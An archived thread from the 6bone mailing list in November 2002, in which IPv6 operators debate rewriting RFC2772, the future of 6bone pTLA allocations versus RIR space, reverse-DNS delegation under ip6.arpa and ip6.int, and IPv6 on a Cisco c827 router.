The next question would be whether we want to keep 6bone de-facto free and
open, and a "big mess", or try to do something about it.  Views differ on
this one; the options are basically (I hope I didn't miss any):
 1) keep 6bone routing as it is, build totally separate competing v6 
Internet for "production"
 2) try to move 6bone-style routing off to the edges of the network
    a) try to clean up the current mess, or
    b) prevent any further mess in new-pTLA rules
 3) kill 6bone

Only after there's some rough consensus on these, we can proceed to the 
details in how to really revise RFC2772.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From Robert.Kiessling@de.easynet.net Thu Nov 14 13:36:23 2002
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Pekka Savola <pekkas@netcore.fi> writes:

>  3) kill 6bone

Surely this will result in much flaming. Maybe it would help to first
think about the concrete effects this would have.

1. Which current services are provided in 3FFE space which cannot
   feasibly move to RIR space?

2. Apart from services provided to the public, which other effects
   would it have to put a timeout on current allocations?

3. Which future developments are hindered if 6bone allocations were
   not available?

Or more generally:

What are 6bones goals today?

Do we still need a "testbed to assist in the evolution and deployment
of IPv6?"

I would argue that "deployment" in the sense of "provide address space
to use IPv6" should no longer be considered part of 6bone's mission.
RIRs now provide this part. Practically 6bone is in direct competition
with RIRs here, providing a different set of criteria, essentially:

- RIR: LIR fees & 200 potential customers
- 6bone: wait 6 months

So what is the concrete benefit of having this cost-free alternative
to RIR allocations?

Robert


From m.gargani@edisontel.it Thu Nov 14 14:30:41 2002
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Hi all,

maybe this is not the right place or maybe I wrong something but since
RIPE NCC gave to my company the reverse delegation for the allocated /32
ip6.arpa, all protocols such ssh, ircd etc etc, can't resolve the
addresses.

From named log I see ssh & co ask to resolve
i.p.v.6.a.d.d.r.e.s.s.ip6.int but all RIRs allocations are ip6.arpa.

Anyone with same problem?

Thanks,

Max



From ck@ns1.arch.bellsouth.net Thu Nov 14 16:31:18 2002
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Date: Thu, 14 Nov 2002 19:31:28 -0500
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hey gang,

if there's anybody else 6bone'ing with a c827, please get in touch
with me ;)..

thanks,
christian


From jeroen@unfix.org Thu Nov 14 17:22:08 2002
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To: "'Max Gargani'" <m.gargani@edisontel.it>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>,
   "'RIPE IPv6 WG'" <ipv6-wg@ripe.net>
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Max Gargani wrote:

> Hi all,
> 
> maybe this is not the right place or maybe I wrong something but since
> RIPE NCC gave to my company the reverse delegation for the 
> allocated /32 ip6.arpa, all protocols such ssh, ircd etc etc, can't
resolve the
> addresses.
> 
> From named log I see ssh & co ask to resolve
> i.p.v.6.a.d.d.r.e.s.s.ip6.int but all RIRs allocations are ip6.arpa.

You might start updating your resolver libraries to use ip6.arpa which
now the defacto standard.
Notez bien that only 6bone space (3ffe::/16) isn't delegated to ip6.arpa
(yet).
But that will likely be happing really soon now after some political
issues are burried.

Most _current_ resolver libraries will currently try:
 ip6.arpa.
 ip6.int.
The second one only when the first one fails ofcourse.

Thus you should at least make reverse entries in ip6.arpa and you could
add ip6.int entries.
Ask RIPE NCC to delegate either of them to your dnsservers if you want
so.

Greets,
 Jeroen


From fink@es.net Thu Nov 14 18:32:06 2002
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Date: Thu, 14 Nov 2002 18:31:52 -0800
To: "Michel Py" <michel@arneill-py.sacramento.ca.us>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: RE: [6bone] 6bone meeting in Atlanta, Tuesday noon
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At 10:15 AM 11/14/2002 -0800, Michel Py wrote:
>Bob / Rob / Pekka,
>
> >> Michel Py wrote:
> >> Bob and/or Rob, please consider my request for a 15-minute
> >> slot, that would include discussion, and I promise I'll go
> >> faster than last time presenting ;-)
>
> > Bob Fink wrote:
> > As long as you go after the planned 2772 main topic. There
> > are only 60 minutes in these lunchtime sessions.
>
>This is my goal.
>
>Unrelated to this:
>A little earlier, I suggested that part of the 2772 refresh could be
>devoted to incorporate some of the changes necessary to the move towards
>the RIRs. I have not heard feedback about this, do you think it's a good
>idea? Will Rob present something related to this?

It all depends on how the RIR discussions progress. At this point it's not 
obvious to me we are ready to say anything as there still seems to be lots 
of concerns in the RIR community about doing this.

So, nothing will get said on this at the 6bone meeting in Atlanta. If by 
the time we do the actual 2772 rewrite  (as opposed to just discussing it 
as we are doing now) there is something useful to say, we will.


Thanks,

Bob



From rrockell@sprint.net Thu Nov 14 18:40:02 2002
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From: "Robert J. Rockell" <rrockell@sprint.net>
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Subject: [6bone] new 2772 rewrite
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First attempt an 2772 rewrite is available at:

http://www.6bone.net/misc/draft-ietf-rockell-6bone-ops-guide-00.txt

Please take a peek at it, and send comments to me/the list/bring them to
IETF.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------


From fink@es.net Thu Nov 14 18:58:16 2002
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From: Bob Fink <fink@es.net>
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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Pekka,

At 10:03 PM 11/14/2002 +0200, Pekka Savola wrote:
>Hello,
>
>First, before we try to modify RFC2772, I think we need to have an idea
>what we're trying to do:

I totally agree. That's why I called for ideas/issues etc. When I don't see 
any comments on the list, however, I wonder if anyone cares (I do know that 
you and some others do).

I would like to see an open and vigorous debate/discussion on what the 
6bone's role should become in the next phase of a transition to v6.


>  - policy for new allocations and for new organizations only?
>  - policy for new and old pTLA holders alike (any policy we agree on MUST
>also by implemented by current pTLA's, as an item they agreed to in
>RFC2772)?

I would think the latter. We have been skirting the issue of making 
existing pTLA holders clean up or change for several years. I believe it is 
time to get fairly specific.


>Follow-up questions: is there a need for the policies for the old and the
>new be the same (IMO not necessarily)?  What if don't conform to the new
>rules, the revocation process?

We would need to address this. Peer group pressure, if there is a real 
consensus, can be quite powerful, meaning we can yank prefixes.


>The next question would be whether we want to keep 6bone de-facto free and
>open, and a "big mess", or try to do something about it.  Views differ on
>this one; the options are basically (I hope I didn't miss any):
>  1) keep 6bone routing as it is, build totally separate competing v6
>Internet for "production"
>  2) try to move 6bone-style routing off to the edges of the network
>     a) try to clean up the current mess, or
>     b) prevent any further mess in new-pTLA rules
>  3) kill 6bone

The 6bone will be killed sooner or later. It's primarily a question of how 
articulate we are in making the case for a longer than a shorter life 
(which includes real plans, not just talk). However, sometime in the next 
1-5 years the 6bone prefix will get yanked. Let's use whatever the time to 
useful purposes.

So, we need to have a good discussion on just the issues you raise.


>Only after there's some rough consensus on these, we can proceed to the
>details in how to really revise RFC2772.

Agree, but, absent any other discussion, we will publish something to 
address what Rob and others think need be done.

So let's have a wide ranging discussion in Atlanta on what is really best 
to do with the 6bone.


Thanks,

Bob


From fink@es.net Thu Nov 14 19:04:28 2002
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Date: Thu, 14 Nov 2002 19:04:23 -0800
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
Cc: 6bone@ISI.EDU
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Robert,

At 09:36 PM 11/14/2002 +0000, Robert Kiessling wrote:
>Pekka Savola <pekkas@netcore.fi> writes:
>
> >  3) kill 6bone
>
>Surely this will result in much flaming. Maybe it would help to first
>think about the concrete effects this would have.
>
>1. Which current services are provided in 3FFE space which cannot
>    feasibly move to RIR space?
>
>2. Apart from services provided to the public, which other effects
>    would it have to put a timeout on current allocations?
>
>3. Which future developments are hindered if 6bone allocations were
>    not available?
>
>Or more generally:
>
>What are 6bones goals today?
>
>Do we still need a "testbed to assist in the evolution and deployment
>of IPv6?"
>
>I would argue that "deployment" in the sense of "provide address space
>to use IPv6" should no longer be considered part of 6bone's mission.
>RIRs now provide this part. Practically 6bone is in direct competition
>with RIRs here, providing a different set of criteria, essentially:
>
>- RIR: LIR fees & 200 potential customers
>- 6bone: wait 6 months
>
>So what is the concrete benefit of having this cost-free alternative
>to RIR allocations?

Primarily for sites and networks that want to try out v6, yet cannot 
allocate money for production service. We are not in production with v6 
today in most parts of the world, by which I mean production code that just 
works using v6 without special effort.

I would say that we are seeing this scenario, i.e., near cost-free trials 
of v6, more than any other.


Thanks,

Bob



From michel@arneill-py.sacramento.ca.us Thu Nov 14 19:52:46 2002
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> Bob Fink wrote:
> So, nothing will get said on this at the 6bone meeting
> in Atlanta. If by the time we do the actual 2772 rewrite
> (as opposed to just discussing it as we are doing now)
> there is something useful to say, we will.

Willco.

Michel.


From jch@zeus.be.oleane.fr Thu Nov 14 22:22:11 2002
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Date: Fri, 15 Nov 2002 07:21:26 +0100
From: Jean-Claude Christophe <jch@oleane.net>
To: Christian Kuhtz <ck@arch.bellsouth.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] ipv6 on c827
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hey Christian,

There are no IPv6 support for the 820 series yet.

Regards,

According to Christian Kuhtz :
> hey gang,
> 
> if there's anybody else 6bone'ing with a c827, please get in touch
> with me ;)..
> 
> thanks,
> christian
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Jean-Claude Christophe / jch@oleane.net

From ck@ns1.arch.bellsouth.net Thu Nov 14 22:50:29 2002
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Date: Fri, 15 Nov 2002 01:50:41 -0500
From: Christian Kuhtz <ck@arch.bellsouth.net>
To: 6bone@ISI.EDU
Subject: fwd: [6bone] ipv6 on c827
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i should probably send this to the list, since others might be
interested in this as well...  didn't realize the list had been
copied on the original message to me.

for those who care, the bug id i'm concerned about is CSCdw67009 or
http://www.cisco.com/cgi-bin/Support/Bugtool/onebug.pl?bugid=CSCdw67009
except that it actually has nothing to do with ipsec as indicated in
the bug description (in my case i'm using a 3des image, but there's
no ipsec config'ed anywhere).

bottom line, c827 w/ ipv6 unicast works.

thanks,
christian

<snip>

jean-claude,

i'm sorry, but in fact you're wrong ;).. i'm running 12.2(8)T5 on an 
c827 just fine with unitcast & mcast ipv6, and ipv6 unicast. that is, 
except for a nasty bug causing crashes (unrelated to ipv6).

was hoping to find other people doing the same and seeing what older
ios versions might work. 

other than that, ipv6 on c827's works wonderfully.


From pekkas@netcore.fi Thu Nov 14 22:50:35 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Thu, 14 Nov 2002, Bob Fink wrote:
> At 10:03 PM 11/14/2002 +0200, Pekka Savola wrote:
> >Hello,
> >
> >First, before we try to modify RFC2772, I think we need to have an idea
> >what we're trying to do:
> 
> I totally agree. That's why I called for ideas/issues etc. When I don't see 
> any comments on the list, however, I wonder if anyone cares (I do know that 
> you and some others do).
> 
> I would like to see an open and vigorous debate/discussion on what the 
> 6bone's role should become in the next phase of a transition to v6.

Exactly.

We could just revise 2772 to be up-to-date, but I'm not sure if that's 
useful if we don't take into the account how we feel 6bone is going to 
change in the coming years.
 
> >  - policy for new allocations and for new organizations only?
> >  - policy for new and old pTLA holders alike (any policy we agree on MUST
> >also by implemented by current pTLA's, as an item they agreed to in
> >RFC2772)?
> 
> I would think the latter. We have been skirting the issue of making 
> existing pTLA holders clean up or change for several years. I believe it is 
> time to get fairly specific.

Agreed.
 
> >Follow-up questions: is there a need for the policies for the old and the
> >new be the same (IMO not necessarily)?  What if don't conform to the new
> >rules, the revocation process?
> 
> We would need to address this. Peer group pressure, if there is a real 
> consensus, can be quite powerful, meaning we can yank prefixes.

Yes.

I believe there will have to be more text on the "non-conforming" case.  
For example, in the suggested text:

--8<--
   3. The pTLA Applicant MUST have a potential "user community" that
      would be served by its becoming a pTLA, e.g., the Applicant is a
      major provider of Internet service in a region, country, or focus
      of interest. Applicant must provide a statement and information in
      support this claim.

WOOP; proposed replacement for #3.
   3. The pTLA Applicant MUST intend fo provide ISP-like services 
      that woudl be served by its becoming a pTLA. e.g., the Applicant
      is a major provider of Internet service in a region.  Applicant 
      must provider a statement and information in support of this claim.
--8<--

==> would we try to get rid of pTLA's from systems which do not fulfill 
the criteria for #3 (it's much more strict I think -- good), or do 
something else?  This could be both a good thing and bad thing?

==> the similar (but to a lesser extent) applies to operators not 
implementing the new policy, due to many reasons (e.g. not even being or 
reading the 6bone mailing list!).
 
> >Only after there's some rough consensus on these, we can proceed to the
> >details in how to really revise RFC2772.
> 
> Agree, but, absent any other discussion, we will publish something to 
> address what Rob and others think need be done.
> 
> So let's have a wide ranging discussion in Atlanta on what is really best 
> to do with the 6bone.

Agreed.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Thu Nov 14 23:03:55 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On 14 Nov 2002, Robert Kiessling wrote:
> Pekka Savola <pekkas@netcore.fi> writes:
> 
> >  3) kill 6bone
> 
> Surely this will result in much flaming. Maybe it would help to first
> think about the concrete effects this would have.
> 
> 1. Which current services are provided in 3FFE space which cannot
>    feasibly move to RIR space?

Services, e.g. addressing, tunnels, free transit etc., provided for 
non-customers for free.

Some do not want to move these to their RIR space -- I believe that's 
okay.
 
> 2. Apart from services provided to the public, which other effects
>    would it have to put a timeout on current allocations?
>
> 3. Which future developments are hindered if 6bone allocations were
>    not available?

The RIR policy has gotten much more flexible lately, so 6bone is no longer 
needed that much even for experimenting.

Basically, it seems to me that new 6bone allocations seem to be non-LIR's,
ie. not allowed to have RIR space anyway (anyone can think of
exceptions??) -- we don't really want to give these a pTLA.

Perhaps also some smaller ISP's which may be LIR's (but some are not) but
do not fulfill the letter of 200 /48 allocations in the RIR space.

So it seems to me that (all that many) further allocations shouldn't be 
even necessary, the question would mostly be on how to manage the current 
ones.
 
> What are 6bones goals today?
> 
> Do we still need a "testbed to assist in the evolution and deployment
> of IPv6?"

I'm not sure if this is necessary.
 
> I would argue that "deployment" in the sense of "provide address space
> to use IPv6" should no longer be considered part of 6bone's mission.
> RIRs now provide this part. Practically 6bone is in direct competition
> with RIRs here, providing a different set of criteria, essentially:
> 
> - RIR: LIR fees & 200 potential customers
> - 6bone: wait 6 months
> 
> So what is the concrete benefit of having this cost-free alternative
> to RIR allocations?

6bone address pTLA allocations, for new allocs, seem to be useful mostly
to those that should not get it, and those which are small enough not to
be able to get it through RIR's.  (A relative fringe case are those who do
have RIR space but want to offer services like tunnels to outsiders also.)

But I believe the 6bone community _could_ _possibly_ be served by these 
slightly smaller ISP's getting 6bone space but not RIR space.  The 
question is how to wordsmith the rules so that too small ones can't get it 
(e.g. one requirement could be AS number of your _own_, not loaned).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Fri Nov 15 07:23:09 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Hareesh V H <fd98209@bits-pilani.ac.in>
cc: 6bone@ISI.EDU
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On Wed, 28 Feb 2001, Hareesh V H wrote:
>  hi! the discussion about the network designing in IPv6 is a very relevant
> one. Actually i am trying to produce a document in this regard. One point
> i find interesting is the ambiguity in the specification/implementation of
> site local addresses. The implementations as of now or even the specs
> do not give a very clear idea about it. Could anyone please provide more
> info/links about this issue as to how exactly this feature is to be used?
> Thanks in advance.

Please don't use site-local addresses if you have permanent connection 
to the Internet.

For other purposes, the usability is debatable (and indeed, it has been 
under heavy debate in the IPv6 wg mailing list lately).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bmanning@ISI.EDU Fri Nov 15 09:10:38 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] resolv problem
In-Reply-To: <000d01c28c45$7890e8f0$210d640a@unfix.org> from Jeroen Massar at "Nov 15, 2 02:22:30 am"
To: jeroen@unfix.org (Jeroen Massar)
Date: Fri, 15 Nov 2002 09:10:32 -0800 (PST)
Cc: m.gargani@edisontel.it, 6bone@ISI.EDU, ipv6-wg@ripe.net
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unless/until 3ffe::/16 is in the ip6.arpa tree, you can
get it under the ip6.int tree by sending email to 

	hostmaster@ep.net

with the delegation and the associated nameservers.
If its an RIR delegation, you must use their dns registration
processes.




% Max Gargani wrote:
% 
% > Hi all,
% > 
% > maybe this is not the right place or maybe I wrong something but since
% > RIPE NCC gave to my company the reverse delegation for the 
% > allocated /32 ip6.arpa, all protocols such ssh, ircd etc etc, can't
% resolve the
% > addresses.
% > 
% > From named log I see ssh & co ask to resolve
% > i.p.v.6.a.d.d.r.e.s.s.ip6.int but all RIRs allocations are ip6.arpa.
% 
% You might start updating your resolver libraries to use ip6.arpa which
% now the defacto standard.
% Notez bien that only 6bone space (3ffe::/16) isn't delegated to ip6.arpa
% (yet).
% But that will likely be happing really soon now after some political
% issues are burried.
% 
% Most _current_ resolver libraries will currently try:
%  ip6.arpa.
%  ip6.int.
% The second one only when the first one fails ofcourse.
% 
% Thus you should at least make reverse entries in ip6.arpa and you could
% add ip6.int entries.
% Ask RIPE NCC to delegate either of them to your dnsservers if you want
% so.
% 
% Greets,
%  Jeroen
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From rrockell@sprint.net Fri Nov 15 09:23:27 2002
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I don't know if this ever arrived to the mailing list, so I'm reposting.
Ignore if this is a mistake.

Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------

On Thu, 14 Nov 2002, Robert J. Rockell wrote:

->First attempt an 2772 rewrite is available at:
->
->http://www.6bone.net/misc/draft-ietf-rockell-6bone-ops-guide-00.txt
->
->Please take a peek at it, and send comments to me/the list/bring them to
->IETF.
->
->Thanks
->Rob Rockell
->SprintLink
->(+1) 703-689-6322
->-----------------------------------------------------------------------
->
->





From nicolas.deffayet@ndsoftware.net Fri Nov 15 10:13:56 2002
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Subject: Re: [6bone] Re: new 2772 rewrite
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "Robert J. Rockell" <rrockell@sprint.net>
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On Fri, 2002-11-15 at 18:25, Robert J. Rockell wrote:
> I don't know if this ever arrived to the mailing list, so I'm reposting.
> Ignore if this is a mistake.
> 
> On Thu, 14 Nov 2002, Robert J. Rockell wrote:
> 
> ->First attempt an 2772 rewrite is available at:
> ->
> ->http://www.6bone.net/misc/draft-ietf-rockell-6bone-ops-guide-00.txt
> ->

I get a 404 error :(

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From ehofmann@uu.net Fri Nov 15 13:36:56 2002
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Hi Max,

Max Gargani wrote:
> Hi all,
> 
> maybe this is not the right place or maybe I wrong something but since
> RIPE NCC gave to my company the reverse delegation for the allocated /32
> ip6.arpa, all protocols such ssh, ircd etc etc, can't resolve the
> addresses.
> 
> From named log I see ssh & co ask to resolve
> i.p.v.6.a.d.d.r.e.s.s.ip6.int but all RIRs allocations are ip6.arpa.

RIPE NCC can also delegate the ip6.int zone to you. ip6.int contains both,
6bone and RIR space, ip6.arpa currently _only_ contains RIR space.
Just create the necessary objects in the RIPE-database, set up your nameserver
and send a mail to RIPE as described at http://www.ripe.net/reverse/ipv6.html

best regards,

Enno Hofmann


From rrockell@sprint.net Fri Nov 15 14:34:06 2002
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So we will meet over lunch on Tuesday, at a room to be decided when I arrive
and ask the IETF organizers which one I can use. Given the possibility of a
projector that works, I propose the following agenda. Please add/edit as you
see fit to the list.

-Intro: (5 minutes)
-6bone-Mess draft discussion (Pekka Savola)(10-15 minutes)
	-discussion (5-10 minutes)
-2772bis changes  (Rob Rockell) (10 minutes)
	-discussion (5-10 minutes)
-What pieces of these two documents should be merged (5 minutes)
-Michel presents thoughts on state of 6bone (10 minutes)

referenced drafts for your pre-reading:

6bone-Mess:
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt

2772 re-write:
http://www.6bone.net/misc/draft-ietf-rockell-6bone-ops-guide-00.txt

Note: 2772 re-write may be Ipv4 accessible only (not my server, complaints
to admin of www.6bone.net :) ).







Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------






From m.gargani@edisontel.it Fri Nov 15 14:43:00 2002
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Subject: Re: [6bone] resolv problem
From: Max Gargani <m.gargani@edisontel.it>
To: Max Gargani <m.gargani@edisontel.it>
Cc: 6BONE List <6bone@mailman.isi.edu>, RIPE IPv6 WG <ipv6-wg@ripe.net>
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Thanks to all for help. I've aked and obtained the delegation ip6.int
for my /32 and updated all my libresolv.

Thanks,
Max


On Thu, 2002-11-14 at 23:30, Max Gargani wrote:
> Hi all,
> 
> maybe this is not the right place or maybe I wrong something but since
> RIPE NCC gave to my company the reverse delegation for the allocated /32
> ip6.arpa, all protocols such ssh, ircd etc etc, can't resolve the
> addresses.
> 
> >From named log I see ssh & co ask to resolve
> i.p.v.6.a.d.d.r.e.s.s.ip6.int but all RIRs allocations are ip6.arpa.
> 
> Anyone with same problem?
> 
> Thanks,
> 
> Max
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 
> 
> >>> Edisontel Spa. - Il messaggio è stato controllato dal sistema 
> AntiVirus [a] <<<
> 
> 



From jeroen@unfix.org Fri Nov 15 16:09:09 2002
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To: "'Robert J. Rockell'" <rrockell@sprint.net>, <6bone@ISI.EDU>
Subject: RE: [6bone] Meeting agenda in Atlanta
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Robert J. Rockell wrote:

<SNIP>
> -Michel presents thoughts on state of 6bone (10 minutes)

See below :)

> referenced drafts for your pre-reading:
> 
> 6bone-Mess:
>
http://www.ietf.org/internet-drafts/draft-savola-v6ops-6bone-mess-01.txt

> 2772 re-write:
> http://www.6bone.net/misc/draft-ietf-rockell-6bone-ops-guide-00.txt
> 
> Note: 2772 re-write may be Ipv4 accessible only (not my server,
complaints
> to admin of www.6bone.net :) ).

With respect to the 'state' of the 6bone, this would really mean it is
quite unstable.
Fortunatly a fetch on IPv4 only fixes it but that is quite bad don't you
think ? :)

Just a quick 'fix':
by IP (fortunatly it's either the default vhost or there are no others)
http://131.243.129.43/misc/draft-ietf-rockell-6bone-ops-guide-00.txt

Working over IPv4 + IPv6 and it is the same box:
http://www.ipng.nl/~jeroen/draft-ietf-rockell-6bone-ops-guide-00.txt

Some relevant comments:
 - There is mention of the multi6 group, but not to the ipv6mh group.
   They will be conducting experiments soon too (Michel Py has more
info)
   Ofcourse they are not a 'official' ietf working group.

 - 7.1.c:
   "Fully maintained DNS forward (AAAA) and reverse (ip6.int and
ip6.arpa)
    entries for all of the Applicant's router(s)."

   I've added ip6.arpa there to push the RIR's to delegate it, we might
   let all pTLA's create working ip6.arpa reverses already so that when
   the reverse gets delegated it all starts working in one go without
   further ado. I've added "all ... routers" just to make it more clear.
   I've also removed the "at least one host" part as that's something
   most people will do by them selves and doesn't really make it more
   visible or stable to whom the addresses belong.

   Notez bien that one can easily setup a wildcard reverse catch so that
   a complete block is handled in one go eg:
   *.0.c.e.f.ip6.arpa. PTR unassigned.example.net.
   Though one has to wonder where the use is for such a catch'em-all.

 - 7.1.d:
   "A fully maintained, and reliable, IPv6-accessible system providing,
    at a mimimum, one or more web pages, describing the Applicant's IPv6
    services. This server must be IPv6 pingable. This pingable host
should
    be entered into the whois object for this site under all the
relevant
    'application' lines. This website must also list correct and working
    contact addresses for technical problems. These must match the
records
    in the whois database. The site should have a looking glass
available
    allowing checkups of reachability and ghost route control."

   The last sentence will hopefully force people to enter those records
into
   the database thus allowing the many automatic ping scripts to work
much
   better, currently about 90% of those "application: ping <host>" lines
are
   non-working (dns fallout, non-existing hosts, you name it).

   The lookingglass part is actually quite important as it gives many
operators
   an insight into the routing tables and their issues at a remote site.
   And this might at least give a view onto the problem where numberous
   ghostroutes have been seen but couldn't be tracked down because the
site's
   operators where not available. LG's are 24x7, people are not.

One will probably want to split up the additions if one takes them into
account :)

Greets,
 Jeroen


From Robert.Kiessling@de.easynet.net Sat Nov 16 07:23:48 2002
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To: Bob Fink <fink@es.net>
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
References: <Pine.LNX.4.44.0211142150470.6389-100000@netcore.fi>
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
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Here is a rather radical proposal:

        Peerings between 6bone sites MUST NOT carry any other routes apart 
        from 3FFE and a summary route for 2001/3.

This achieves a number of goals:

- it provides a clear distinction between the experimental part from the rest of 
  the IPv6 world

- interconnections between 6bone and the rest of the IPv6 world can still 
  be numerous and reliable

- existing services in the 3FFE space can be accessed from everywhere, 
  noone is cut off

- cost-free trial implementation is still possible, but transition to RIR space
  is encouraged

- since RIR sites can filter RIR space from peerings with 6bone sites,
  BGP problems from 6bone sites will not affect the global network

and last but not least

- it's a very simple, verifyable criterion

Of course, all is not gold, so there are some drawbacks:

- 6bone sites will no longer see 2001 routes, so they will need to do 
  "closest exit" routing to the nearest RIR site.

- peerings between dual (RIR & 6bone) sites will not carry 2001 space

- propably others I haven't thought of

Robert


From itojun@itojun.org Sat Nov 16 08:00:11 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals 
From: itojun@iijlab.net
Date: Sun, 17 Nov 2002 01:00:08 +0900
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>Here is a rather radical proposal:
>        Peerings between 6bone sites MUST NOT carry any other routes apart 
>        from 3FFE and a summary route for 2001/3.

	do you mean "and a summary route for 2001::/16 and 2002::/16", or
	"2000::/3"?

itojun

From nicolas.deffayet@ndsoftware.net Sat Nov 16 16:26:08 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Cc: Bob Fink <fink@es.net>, 6bone@ISI.EDU
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On Sat, 2002-11-16 at 16:23, Robert Kiessling wrote:
> Here is a rather radical proposal:
> 
>         Peerings between 6bone sites MUST NOT carry any other routes apart 
>         from 3FFE and a summary route for 2001/3.

You can have unstability problems with RIR space...


A lot of ISP use their RIR space for do experimental stuff (it's more
easy for a LIR to get a sTLA than a pTLA for do tests...)


pTLA owner have IPv6 experience:

>From RFC2772

   1. The pTLA Applicant must have a minimum of three (3) months
       qualifying experience as a 6Bone end-site or pNLA transit.   
       During the entire qualifying period the Applicant must be  
       operationally providing the following:


sTLA owner can don't have IPv6 experience because it's not a
requierement for get a sTLA.


I think that your solution is not good and will kill the 6bone.

Why limit 6bone space if the pTLA are expected to provide production
quality service ?

>From RFC2772:

   The following rules apply to qualify for a 6Bone pTLA allocation. It
    should be recognized that holders of 6Bone pTLA allocations are
    expected to provide production quality backbone network services for
    the 6Bone.


I think that it's better to remplace "6Bone pTLA allocations are
expected to provide production quality..." by "6Bone pTLA allocations
MUST provide production quality...".


I don't understand how RIR space can get problems with 6bone space...
Please explain me.

My router will don't do better announces with RIR space than 6bone
space....

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From michel@arneill-py.sacramento.ca.us Sat Nov 16 22:52:42 2002
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Subject: [6bone] Meeting agenda in Atlanta 
Date: Sat, 16 Nov 2002 22:52:44 -0800
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> So we will meet over lunch on Tuesday, at a room
> to be decided when I arrive and ask the IETF
> organizers which one I can use. Given the
> possibility of a projector that works,

I do carry a projector along with my laptop, making virtually any place
with a power outlet suitable for a meeting. The usage of my Infocus is
not free, but alternative payment methods such as a free Sprint T1
service to my home (with native IPv6, needless to say) or a red wine and
steak dinner are negotiable :-)

Michel.

From Robert.Kiessling@de.easynet.net Sun Nov 17 04:57:47 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Date: 17 Nov 2002 12:57:36 +0000
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Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:

> On Sat, 2002-11-16 at 16:23, Robert Kiessling wrote:
> > Here is a rather radical proposal:
> > 
> >         Peerings between 6bone sites MUST NOT carry any other routes apart 
> >         from 3FFE and a summary route for 2001/3.
> 
> You can have unstability problems with RIR space...

You can have stability problems in IPv4.
Does it matter for this discussion? No.

What matters is what actually happens, i.e. what is *likely* to cause
problems. And here we saw several instances of unmaintained and badly
responsive 6bone site, and sites running two-year old copies of
depricated BGP software.

For example, all of the LIRs I have spoken to understand the problem
with long-distance tunnels and are getting rid of them, while at the
same time a 6bone site proudly announced to have more than 90 tunnels.

> A lot of ISP use their RIR space for do experimental stuff (it's more
> easy for a LIR to get a sTLA than a pTLA for do tests...)

I anticipate filtering of announcementes from such sites in RIR space,
which solves this problem.

> sTLA owner can don't have IPv6 experience because it's not a
> requierement for get a sTLA.

Entities operating RIR allocations will have BGP experience, which is
more relevent. And they have a view and sense of real network
topology.

> I think that your solution is not good and will kill the 6bone.

It might be more productive if you explained concretely why you think
it's a bad idea. I don't see any indication why this would "kill
6bone". What do you mean by this?

> Why limit 6bone space if the pTLA are expected to provide production
> quality service ?

In all practical terms, this requirement from 2772 is ignored. As it
has to be, since "production quality" is too vague to be acted
upon. And as the discussion here shows, there is reluctance to detail
this, e.g. by requiring 24h response time.

> I don't understand how RIR space can get problems with 6bone space...
> Please explain me.

I don't understand your sentence, sorry.

> My router will don't do better announces with RIR space than 6bone
> space....

You don't get RIR space because you are not LIR, don't meet the
requirements to become LIR and most likely wouldn't be prepared to pay
for it.

In other words, you operate it as a hobby, while LIRs operate
professionally. And it's not just you, it's many other 6bone sites
too.

This is not to say that this is a bad thing. In the opposite, much
good came out of private initiative. However, there are global
operational impacts, and they must be limited.

RIRs have the background of production network operation in the IPv4
